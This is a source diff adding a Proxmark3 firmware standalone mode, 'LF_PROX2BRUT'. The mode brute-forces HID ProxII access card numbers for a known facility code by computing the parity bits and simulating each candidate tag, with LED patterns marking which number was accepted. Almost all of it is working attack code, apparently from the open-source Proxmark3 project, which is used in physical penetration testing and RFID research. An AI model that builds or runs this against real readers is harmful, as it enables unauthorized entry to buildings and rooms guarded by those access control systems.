Add new Standalone mode LF_PROX2BRUT: HID ProxII brueforce v2

Trivial card number brute forcer for when you know the facility code
and want to find valid(s) card number(s).

armsrc/Standalone/lf_prox2brute.c

@@ -0,0 +1,108 @@
+//-----------------------------------------------------------------------------
+// Copyright (C) Brad Antoniewicz 2011
+// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// See LICENSE.txt for the text of the license.
+//-----------------------------------------------------------------------------
+// LF HID ProxII Brutforce v2 by lnv42 - based on Proxbrute by Brad antoniewicz
+//
+//     Following code is a trivial brute forcer for when you know the facility
+//     code and want to find valid(s) card number(s). It will try all card
+//     fnumbers rom CARDNUM_START to CARDNUM_END one by one (max. ~65k tries).
+//     This brute force will be a lot faster than Proxbrute that will try all
+//     possibles values for LF low, even those with bad checksum (~4g tries).
+//     LEDs will help you know which card number(s) worked.
+//
+//-----------------------------------------------------------------------------
+#include "standalone.h" // standalone definitions
+#include "proxmark3_arm.h"
+#include "appmain.h"
+#include "fpgaloader.h"
+#include "util.h"
+#include "dbprint.h"
+#include "lfops.h"
+#include "parity.h"
+
+#define CARDNUM_START 0
+#define CARDNUM_END 0xFFFF
+#define FACILITY_CODE 2
+
+void ModInfo(void) {
+    DbpString("  LF HID ProxII bruteforce v2");
+}
+
+// samy's sniff and repeat routine for LF
+void RunMod(void) {
+    StandAloneMode();
+    Dbprintf(">>  LF HID proxII bruteforce v2 a.k.a Prox2Brute Started <<");
+    FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
+
+    const uint32_t high = 0x20; // LF high value is always 0x20 here
+    uint32_t low = 0;
+
+    uint32_t fac = FACILITY_CODE, cardnum = 0;
+
+    LED_D_ON();
+    while (BUTTON_HELD(200) != BUTTON_HOLD) { // Waiting for a 200ms button press
+        WDT_HIT();
+        // exit from SamyRun,   send a usbcommand.
+        if (data_available()) { // early exit
+             DbpString("[=] You can take the shell back :) ...");
+            LEDsoff();
+            return;
+        }
+    }
+    
+    LED_C_ON();
+    WAIT_BUTTON_RELEASED(); // We are now ready to start brutforcing card numbers
+    LEDsoff();
+
+    Dbprintf("[=] Starting HID ProxII Bruteforce from card %08x to %08x",
+             CARDNUM_START, MIN(CARDNUM_END, 0xFFFF));
+        
+    for (cardnum = CARDNUM_START ; cardnum <= MIN(CARDNUM_END, 0xFFFF) ; cardnum++) {
+        WDT_HIT();
+
+        // exit from SamyRun,   send a usbcommand.
+        if (data_available()) break;
+
+        // short button press may be used for fast-forward
+        if (BUTTON_HELD(1000) == BUTTON_HOLD) break; // long button press (>=1sec) exit
+
+        // calculate the new LF low value including Card number, Facility code and checksum
+        low = (cardnum << 1) | (fac << 17);
+        low |= oddparity32((low >> 1) & 0xFFF);
+        low |= evenparity32((low >> 13) & 0xFFF) << 25;
+
+        Dbprintf("[=] trying Facility = %08x, Card = %08x, raw = %08x%08x",
+                 fac, cardnum, high, low);
+
+        // Start simulating an HID TAG, with high/low values, no led control and 20000 cycles timeout
+        CmdHIDsimTAGEx(0, high, low, 0, false, 20000);
+
+        // switch leds to be able to know (aproximatly) which card number worked (64 tries loop)
+        LED_A_INV(); // switch led A every try
+        if ((cardnum-CARDNUM_START) % 8 == 7) // switch led B every 8 tries
+            LED_B_INV();
+        if ((cardnum-CARDNUM_START) % 16 == 15) // switch led C every 16 tries
+            LED_C_INV();
+        if ((cardnum-CARDNUM_START) % 32 == 31) // switch led D every 32 tries
+            LED_D_INV();
+    }
+    
+    SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5); // Xmax tree
+    Dbprintf("[=] Ending HID ProxII Bruteforce from card %08x to %08x",
+             CARDNUM_START, cardnum - 1);
+    DbpString("[=] You can take the shell back :) ...");
+    LEDsoff(); // This is the end
+}